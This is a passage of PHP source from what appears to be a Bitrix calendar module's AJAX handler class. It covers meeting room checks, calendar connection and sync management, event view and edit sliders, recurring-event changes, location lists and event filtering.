			$Params['ID'] = intVal($_POST['id']);

		$settings = CCalendar::GetSettings(array('request' => false));
		$Params['RMiblockId'] = $settings['rm_iblock_id'];
		$Params['mrid'] = $loc_new['mrid'];
		$Params['mrevid_old'] = $loc_old ? $loc_old['mrevid'] : 0;
		$check = CCalendar::CheckMeetingRoom($Params);

		self::OutputJSRes(self::$reqId, array('check' => $check));
	}

	public static function EditConnections()
	{
		if (CCalendar::GetType() == 'user' && CCalendar::IsCalDAVEnabled())
		{
			$res = CCalendar::ManageConnections($_POST['connections']);
			if ($res !== true)
				CCalendar::ThrowError($res == '' ? 'Edit connections error' : $res);
			else
				self::OutputJSRes(self::$reqId, array('result' => true));
		}
	}
	public static function DisconnectGoogle()
	{
		if (CCalendar::GetType() == 'user' && (CCalendar::IsCalDAVEnabled() || CCalendar::isGoogleApiEnabled()))
		{
			CCalendar::RemoveConnection(array('id' => intval($_POST['connectionId']), 'del_calendars' => 'Y'));
			self::OutputJSRes(self::$reqId, array('result' => true));
		}
	}

	public static function ClearSynchronizationInfo()
	{
		CCalendar::ClearSyncInfo(CCalendar::GetUserId(), $_POST['sync_type']);
		self::OutputJSRes(self::$reqId, array('result' => true));
	}

	public static function SyncExchange()
	{
		if (CCalendar::GetType() == 'user' && CCalendar::IsExchangeEnabled(CCalendar::GetOwnerId()))
		{
			$error = "";
			$res = CDavExchangeCalendar::DoDataSync(CCalendar::GetOwnerId(), $error);
			if ($res === true || $res === false)
				self::OutputJSRes(self::$reqId, array('result' => true));
			else
				CCalendar::ThrowError($error);
		}
	}

//	public static function GetViewEventDialog()
//	{
//		global $APPLICATION;
//		$APPLICATION->ShowAjaxHead();
//
//		$jsId = $color = preg_replace('/[^\d|\w]/', '', $_REQUEST['js_id']);
//		$eventId = intval($_REQUEST['event_id']);
//		$fromTs = CCalendar::Timestamp($_REQUEST['date_from']) - $_REQUEST['date_from_offset'];
//
//		$event = CCalendarEvent::GetList(
//			array(
//				'arFilter' => array(
//					"ID" => $eventId,
//					"DELETED" => "N",
//					"FROM_LIMIT" => CCalendar::Date($fromTs),
//					"TO_LIMIT" => CCalendar::Date($fromTs)
//				),
//				'parseRecursion' => true,
//				'maxInstanceCount' => 1,
//				'preciseLimits' => true,
//				'fetchAttendees' => true,
//				'checkPermissions' => true,
//				'setDefaultLimit' => false
//			)
//		);
//
//		if (!$event || !is_array($event[0]))
//		{
//			$event = CCalendarEvent::GetList(
//				array(
//					'arFilter' => array(
//						"ID" => $eventId,
//						"DELETED" => "N"
//					),
//					'parseRecursion' => true,
//					'maxInstanceCount' => 1,
//					'fetchAttendees' => true,
//					'checkPermissions' => true,
//					'setDefaultLimit' => false
//				)
//			);
//		}
//
//		if ($event && is_array($event[0]))
//		{
//			$event = $event[0];
//			if ($event['IS_MEETING'] && $event['PARENT_ID'] != $event['ID'])
//			{
//				$parentEvent = CCalendarEvent::GetById(intval($event['PARENT_ID']));
//				if($parentEvent['DELETED'] == 'Y')
//				{
//					CCalendarEvent::CleanEventsWithDeadParents();
//					$event = false;
//				}
//			}
//		}
//
//		if ($event)
//		{
//			CCalendarSceleton::DialogViewEvent(array(
//				'id' => $jsId,
//				'event' => $event,
//				'sectionName' => $_REQUEST['section_name'],
//				'bIntranet' => CCalendar::IsIntranetEnabled(),
//				'bSocNet' => CCalendar::IsSocNet(),
//				'AVATAR_SIZE' => 21
//			));
//		}
//
//		require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_after.php");
//	}

//	public static function GetEditEventDialog()
//	{
//		global $APPLICATION;
//		$APPLICATION->ShowAjaxHead();
//
//		$jsId = $color = preg_replace('/[^\d|\w]/', '', $_REQUEST['js_id']);
//		$event_id = intval($_REQUEST['event_id']);
//
//		if ($event_id > 0)
//		{
//			$Event = CCalendarEvent::GetList(
//				array(
//					'arFilter' => array(
//						"ID" => $event_id
//					),
//					'parseRecursion' => false,
//					'fetchAttendees' => true,
//					'checkPermissions' => true,
//					'setDefaultLimit' => false
//				)
//			);
//
//			$Event = $Event && is_array($Event[0]) ? $Event[0] : false;
//		}
//		else
//		{
//			$Event = array();
//		}
//
//		if (!$event_id || !empty($Event))
//		{
//			CCalendarSceleton::DialogEditEvent(array(
//				'id' => $jsId,
//				'event' => $Event,
//				'type' => CCalendar::GetType(),
//				'bIntranet' => CCalendar::IsIntranetEnabled(),
//				'bSocNet' => CCalendar::IsSocNet(),
//				'AVATAR_SIZE' => 21
//			));
//		}
//
//		require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_after.php");
//	}

	public static function GetEditSlider()
	{
		global $APPLICATION;
		$APPLICATION->ShowAjaxHead();

		$jsId = preg_replace('/[^\d|\w\_]/', '', $_REQUEST['unique_id']);
		$formType = preg_replace('/[^\d|\w\_]/', '', $_REQUEST['form_type']);
		$entryId = intval($_REQUEST['event_id']);

		if ($entryId > 0)
		{
			$entry = CCalendarEvent::GetList(
				array(
					'arFilter' => array(
						"ID" => $entryId
					),
					'parseRecursion' => false,
					'fetchAttendees' => true,
					'checkPermissions' => true,
					'setDefaultLimit' => false
				)
			);

			$entry = $entry && is_array($entry[0]) ? $entry[0] : false;
		}
		else
		{
			$entry = array();
		}

		if (!$entryId || !empty($entry) && CCalendarSceleton::CheckBitrix24Limits(array('id' => $jsId)))
		{
			$APPLICATION->IncludeComponent("bitrix:calendar.edit.slider", "", array(
				'id' => $jsId,
				'event' => $entry,
				'formType' => $formType,
				'type' => CCalendar::GetType(),
				'bIntranet' => CCalendar::IsIntranetEnabled(),
				'bSocNet' => CCalendar::IsSocNet(),
				'AVATAR_SIZE' => 21
			));
		}

		require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_after.php");
	}

	public static function GetViewSlider()
	{
		global $APPLICATION;
		$APPLICATION->ShowAjaxHead();

		$jsId = preg_replace('/[^\d|\w\_]/', '', $_REQUEST['unique_id']);
		$eventId = intval($_REQUEST['entry_id']);
		$fromTs = CCalendar::Timestamp($_REQUEST['date_from']) - $_REQUEST['date_from_offset'];

		$event = CCalendarEvent::GetList(
			array(
				'arFilter' => array(
					"ID" => $eventId,
					"DELETED" => "N",
					"FROM_LIMIT" => CCalendar::Date($fromTs),
					"TO_LIMIT" => CCalendar::Date($fromTs)
				),
				'parseRecursion' => true,
				'maxInstanceCount' => 1,
				'preciseLimits' => true,
				'fetchAttendees' => true,
				'checkPermissions' => true,
				'setDefaultLimit' => false
			)
		);

		if (!$event || !is_array($event[0]))
		{
			$event = CCalendarEvent::GetList(
				array(
					'arFilter' => array(
						"ID" => $eventId,
						"DELETED" => "N"
					),
					'parseRecursion' => true,
					'maxInstanceCount' => 1,
					'fetchAttendees' => true,
					'checkPermissions' => true,
					'setDefaultLimit' => false
				)
			);
		}

		// Here we can get events with wrong RRULE ('parseRecursion' => false)
		if (!$event || !is_array($event[0]))
		{
			$event = CCalendarEvent::GetList(
				array(
					'arFilter' => array(
						"ID" => $eventId,
						"DELETED" => "N"
					),
					'parseRecursion' => false,
					'fetchAttendees' => true,
					'checkPermissions' => true,
					'setDefaultLimit' => false
				)
			);
		}

		if ($event && is_array($event[0]))
		{
			$event = $event[0];
			if ($event['IS_MEETING'] && $event['PARENT_ID'] != $event['ID'])
			{
				$parentEvent = CCalendarEvent::GetById(intval($event['PARENT_ID']));
				if($parentEvent['DELETED'] == 'Y')
				{
					CCalendarEvent::CleanEventsWithDeadParents();
					$event = false;
				}
			}
		}

		$APPLICATION->IncludeComponent("bitrix:calendar.view.slider", "", array(
			'id' => $jsId,
			'event' => $event,
			'type' => CCalendar::GetType(),
			'sectionName' => $_REQUEST['section_name'],
			'bIntranet' => CCalendar::IsIntranetEnabled(),
			'bSocNet' => CCalendar::IsSocNet(),
			'AVATAR_SIZE' => 21
		));

		require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_after.php");
	}

	public static function GetPlanner()
	{
		global $APPLICATION;
		$APPLICATION->ShowAjaxHead();

		$plannerId = $_REQUEST['planner_id'];
		?><?CCalendarPlanner::Init(array('id' => $plannerId));?><?

		require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_after.php");
	}

	public static function UpdatePlanner()
	{
		$curEventId = intVal(self::$request['cur_event_id']);
		$curUserId = CCalendar::GetCurUserId();
		$codes = false;
		if (isset(self::$request['codes']) && is_array(self::$request['codes']))
		{
			$codes = array();
			foreach(self::$request['codes'] as $code)
			{
				if($code)
					$codes[] = $code;
			}

			if(self::$request['add_cur_user_to_list'] === 'Y' || count($codes) <= 0)
			{
				$codes[] = 'U'.$curUserId;
			}
		}

		$result = CCalendarPlanner::PrepareData(array(
			'entry_id' => $curEventId,
			'user_id' => $curUserId,
			'codes' => $codes,
			'entries' => self::$request['entries'],
			'date_from' => CCalendar::Date(CCalendar::Timestamp(self::$request['date_from']), false),
			'date_to' => CCalendar::Date(CCalendar::Timestamp(self::$request['date_to']), false),
			'timezone' => self::$request['timezone'],
			'location' => trim(self::$request['location']),
			'roomEventId' => intval(self::$request['roomEventId'])
		));

		self::OutputJSRes(self::$reqId, $result);
	}

	public static function ChangeRecurciveEventUntil()
	{
		if (CCalendar::GetReadonlyMode() || !CCalendarType::CanDo('calendar_type_view', CCalendar::GetType()))
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

		$res = array('result' => false);
		$event = CCalendarEvent::GetById(intval($_POST['event_id']));
		$untilTimestamp = CCalendar::Timestamp($_POST['until_date']);
		$recId = false;

		if ($event)
		{
			if (CCalendarEvent::CheckRecurcion($event))
			{
				$event['RRULE'] = CCalendarEvent::ParseRRULE($event['RRULE']);
				$event['RRULE']['UNTIL'] = CCalendar::Date($untilTimestamp, false);
				if (isset($event['RRULE']['COUNT']))
					unset($event['RRULE']['COUNT']);

				$id = CCalendar::SaveEvent(array(
					'arFields' => array(
						"ID" => $event["ID"],
						"RRULE" => $event['RRULE']
					),
					'silentErrorMode' => false,
					'recursionEditMode' => 'skip'
				));
				$recId = $event["ID"];
				$res['id'] = $id;
			}

			if($event["RECURRENCE_ID"] > 0)
			{
				$recParentEvent = CCalendarEvent::GetById($event["RECURRENCE_ID"]);
				if ($recParentEvent && CCalendarEvent::CheckRecurcion($recParentEvent))
				{
					$recParentEvent['RRULE'] = CCalendarEvent::ParseRRULE($recParentEvent['RRULE']);

					if ($recParentEvent['RRULE']['UNTIL'] && CCalendar::Timestamp($recParentEvent['RRULE']['UNTIL']) > $untilTimestamp)
					{
						$recParentEvent['RRULE']['UNTIL'] = CCalendar::Date($untilTimestamp, false);
						$id = CCalendar::SaveEvent(array(
							'arFields' => array(
								"ID" => $recParentEvent["ID"],
								"RRULE" => $recParentEvent['RRULE']
							),
							'silentErrorMode' => false,
							'recursionEditMode' => 'skip'
						));
						$res['id'] = $id;
					}
				}

				$recId = $event["RECURRENCE_ID"];
			}

			if ($recId)
			{
				$recRelatedEvents = CCalendarEvent::GetEventsByRecId($recId, false);
				foreach($recRelatedEvents as $ev)
				{
					if(CCalendar::Timestamp($ev['DATE_FROM']) > $untilTimestamp)
					{
						CCalendar::DeleteEvent(intVal($ev['ID']), true, array('recursionMode' => 'this'));
					}
				}
			}

			$res['result'] = true;
		}

		self::OutputJSRes(self::$reqId, $res);
	}

	public static function AddExcludeRecursionDate()
	{
		if (CCalendar::GetReadonlyMode() || !CCalendarType::CanDo('calendar_type_view', CCalendar::GetType()))
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

		CCalendarEvent::ExcludeInstance($_POST['event_id'], $_POST['exclude_date']);

		self::OutputJSRes(self::$reqId, array('result' => true));
	}


	public static function updateLocationList()
	{
		if (CCalendar::GetReadonlyMode() || !CCalendarType::CanDo('calendar_type_view', CCalendar::GetType()))
			return CCalendar::ThrowError(Loc::getMessage('EC_ACCESS_DENIED'));

		$locationList = self::$request['data'];

		foreach($locationList as $location)
		{
			if ($location['id'] && ($location['deleted'] == 'Y' || $location['name'] === ''))
			{
				CCalendarLocation::delete($location['id']);
			}
			elseif ((!$location['id'] || $location['changed'] == 'Y') && $location['name'] !== '')
			{
				CCalendarLocation::update(array(
					'id' => $location['id'],
					'name' => $location['name']
				));
			}
		}

		CCalendarLocation::clearCache();

		self::OutputJSRes(self::$reqId,
			array(
				'result' => true,
				'locationList' => CCalendarLocation::getList()
			)
		);
	}

	public static function getTrackingSections()
	{
		$request = \Bitrix\Main\Context::getCurrent()->getRequest();
		$codes = $request->get('codes');
		$mode = $request->get('type');
		$users = array();

		if ($mode == 'users')
		{
			$userIds = array();
			$users = CCalendar::GetDestinationUsers($codes, true);
			foreach($users as $user)
			{
				$userIds[] = $user['ID'];
			}

			$sections = CCalendarSect::GetSuperposedList(array(
				'USERS' => $userIds
			));
		}
		elseif($mode == 'groups')
		{
			$groupIds = array();
			foreach($codes as $code)
			{
				if (substr($code, 0, 2) === 'SG')
				{
					$groupIds[] = intval(substr($code, 2));
				}
			}

			$sections = CCalendarSect::GetSuperposedList(array(
				'GROUPS' => $groupIds
			));
		}
		else
		{
			$types = array();
			$typesRes = CCalendarType::GetList();
			foreach($typesRes as $type)
			{
				if ($type['XML_ID'] != 'user' && $type['XML_ID'] !== 'group' && $type['XML_ID'] !== 'location')
				{
					$types[] = $type['XML_ID'];
				}
			}

			$sections = CCalendarSect::GetSuperposedList(array(
				'TYPES' => $types
			));
		}

		self::OutputJSRes(self::$reqId,
			array(
				'result' => true,
				'users' => $users,
				'sections' => $sections
			)
		);
	}

	public static function setTrackingSections()
	{
		$userId = CCalendar::GetCurUserId();
		if (self::$request['type'] == 'users')
		{
			$codes = self::$request['codes'];
			$users = CCalendar::GetDestinationUsers($codes);


			CCalendarUserSettings::setTrackingUsers($userId, $users);
		}
		elseif(self::$request['type'] == 'groups')
		{
			$codes = self::$request['codes'];
			$groupIds = array();
			foreach($codes as $code)
			{
				if (substr($code, 0, 2) === 'SG')
				{
					$groupIds[] = intval(substr($code, 2));
				}
			}
			CCalendarUserSettings::setTrackingGroups($userId, $groupIds);
		}

		CCalendar::SetDisplayedSuperposed($userId, self::$request['sect']);

		self::OutputJSRes(self::$reqId, array('result' => true));
	}

	public static function getSettingsSlider()
	{
		global $APPLICATION;
		$APPLICATION->ShowAjaxHead();

		$jsId = preg_replace('/[^\d|\w\_]/', '', self::$request['unique_id']);

		$APPLICATION->IncludeComponent("bitrix:calendar.settings.slider", "", array(
			'id' => $jsId,
			'is_personal' => self::$request['is_personal'] == 'Y',
			'show_general_settings' => self::$request['show_general_settings'] == 'Y'
		));

		require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_after.php");
	}

	public static function getDestinationItems()
	{
		self::OutputJSRes(self::$reqId,
			array(
				'result' => true,
				'destinationItems' => CCalendar::GetSocNetDestination(false, self::$request['codes'])
			)
		);
	}

	public static function getFilterData()
	{
		$fields = CalendarFilter::resolveFilterFields(CalendarFilter::getFilterId(CCalendar::GetType(), CCalendar::GetOwnerId(), CCalendar::GetCurUserId()));

		$parseRecursion = false;
		$counters = false;
		$arFilter = array(
			'OWNER_ID' => CCalendar::GetOwnerId(),
			'CAL_TYPE' => CCalendar::GetType()
		);

		if (isset($fields['fields']['IS_MEETING']))
		{
			$arFilter['IS_MEETING'] = $fields['fields']['IS_MEETING'] == 'Y';
		}
		if (isset($fields['fields']['MEETING_STATUS']))
		if (isset($fields['fields']['MEETING_STATUS']))
		{
			$arFilter['MEETING_STATUS'] = $fields['fields']['MEETING_STATUS'];
			$arFilter['IS_MEETING'] = true;

			if ($fields['presetId'] == 'filter_calendar_meeting_status_q')
			{
				$arFilter['FROM_LIMIT'] = CCalendar::Date(time(), false);
				$arFilter['TO_LIMIT'] = CCalendar::Date(time() + CCalendar::DAY_LENGTH * 90, false);
				CCalendar::UpdateCounter(array(CCalendar::GetOwnerId()));
				$counters = array(
					'invitation' => CUserCounter::GetValue($arFilter['OWNER_ID'], 'calendar')
				);
			}
		}
		if (isset($fields['fields']['CREATED_BY']))
		{
			unset($arFilter['OWNER_ID'], $arFilter['CAL_TYPE']);
			$arFilter['MEETING_HOST'] = $fields['fields']['CREATED_BY'];
			// mantis: 93743
			$arFilter['CREATED_BY'] = CCalendar::GetCurUserId();
			$arFilter['IS_MEETING'] = true;
		}
		if (isset($fields['fields']['ATTENDEES']))
		{
			$arFilter['OWNER_ID'] = $fields['fields']['ATTENDEES'];
			$arFilter['IS_MEETING'] = true;
		}

		$fromTs = 0;
		$toTs = 0;
		if (isset($fields['fields']['DATE_FROM']))
		{
			$fromTs = CCalendar::Timestamp($fields['fields']['DATE_FROM'], true, false);
			$arFilter['FROM_LIMIT'] = CCalendar::Date($fromTs, false);
		}
		if (isset($fields['fields']['DATE_TO']))
		{
			$toTs = CCalendar::Timestamp($fields['fields']['DATE_TO'], true, false);
			$arFilter['TO_LIMIT'] = CCalendar::Date($toTs, false);
			if ($fromTs && $toTs < $fromTs)
			{
				$arFilter['TO_LIMIT'] = $arFilter['FROM_LIMIT'];
			}
		}
		if ($fromTs && $toTs && $fromTs <= $toTs)
		{
			$parseRecursion = true;
		}

		if (isset($fields['search']) && $fields['search'])
		{
			$arFilter[(CCalendarEvent::isFullTextIndexEnabled() ? '*' : '*%').'SEARCHABLE_CONTENT'] = CCalendarEvent::prepareToken($fields['search']);
		}

		$entries = CCalendarEvent::GetList(
			array(
				'arFilter' => $arFilter,
				'fetchAttendees' => true,
				'parseRecursion' => $parseRecursion,
				'maxInstanceCount' => 50,
				'preciseLimits' => $parseRecursion,
				'userId' => CCalendar::GetCurUserId(),
				'fetchMeetings' => true,
				'setDefaultLimit' => false
			)
		);

		self::OutputJSRes(self::$reqId,
			array(
				'result' => true,
				'entries' => $entries,
				'counters' => $counters
			)
		);
	}
}
?>